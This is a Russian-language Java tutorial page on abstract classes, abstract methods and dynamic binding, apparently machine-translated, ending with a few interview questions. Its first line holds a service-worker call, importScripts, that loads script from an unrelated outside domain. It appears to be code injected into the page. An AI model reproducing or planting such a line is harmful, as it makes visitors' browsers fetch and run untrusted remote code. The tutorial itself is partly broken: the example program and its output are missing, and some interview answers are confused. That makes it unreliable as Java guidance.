google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Абстрактный класс на Java

Прежде чем читать этот учебник, я рекомендую вам прочитать 
о динамическом связывании в Java, потому что, не зная о динамическом связывании,
вы не сможете понять концепцию абстрактного класса в Java.

 

Абстракция в Java

  • Абстракция - это процесс сокрытия сложности и 
    демонстрации функциональности. Отображение основных данных и скрытие 
    несущественных данных. 
  • Мы можем понять это, взяв пример из реального мира. У нас 
    есть вентилятор в доме, нам просто предоставляют переключатель (функциональность) для включения 
    и выключения вентилятора, мы не знаем, как вентилятор работает на самом деле 
    (сложность). Это прекрасный пример абстракции в Java.
Абстракция в Java достигается двумя способами:
1. Абстрактный класс (Частичная реализация абстракции)
2. Интерфейс (полностью реализация абстракции)

Абстрактный класс на Java

  • Класс, который имеет ноль или более абстрактных методов, называется 
    абстрактным классом. Он также может иметь неабстрактные методы. 
  • Абстрактный класс не может быть создан. Это означает, что мы не можем 
    создать объект абстрактного класса. Однако мы можем создать его ссылочную переменную.

Абстрактный метод в Java

Абстрактный метод - это метод без тела. Абстрактный класс и 
абстрактный метод объявляются с использованием ключевого слова «abstract». Ниже приведен пример.
Когда мы порождаем класс из абстрактного класса, мы должны 
предоставить тело всех абстрактных методов в производном классе. Если мы не дадим 
тело методов, мы должны сделать производный класс абстрактным.
Ниже приведен один пример программы, который реализует концепцию 
абстрактного класса в Java.

Пример абстрактного класса

Выход

В приведенном выше примере задача выполняется в зависимости от 
вызывающего ее объекта. Как я уже говорил, абстрактный класс не может быть 
создан. Таким образом, в приведенной выше программе мы просто объявляем ссылочную переменную 
абстрактного класса Base и сохраняем в ней ссылочный идентификатор производного класса, эта 
концепция называется динамическим связыванием.
Давайте поговорим о нескольких важных вопросах интервью для 
абстрактного класса в Java

Интервью Вопросы

В. Почему мы используем динамическое связывание?
А. Для достижения абстракции.
В. Как мы выполняем методы родительского класса?
А. Использование динамического связывания. Это реализовано в вышеуказанной 
программе.
В. Можем ли мы сохранить конструкцию в абстрактном классе?
О. У каждого класса в Java есть конструктор, поэтому у абстрактного класса 
также есть конструктор.
В. Можем ли мы сделать абстрактный метод статичным?
О. Нет, потому что к статическому обращаются через имя класса, и это будет 
доступно любому.
Это было все об абстрактном классе в Java. Если вы обнаружите, что что-то 
отсутствует, неверно или у вас есть сомнения в отношении данного руководства, пожалуйста, сообщите об 
этом, комментируя ниже

Комментариев нет:

Отправить комментарий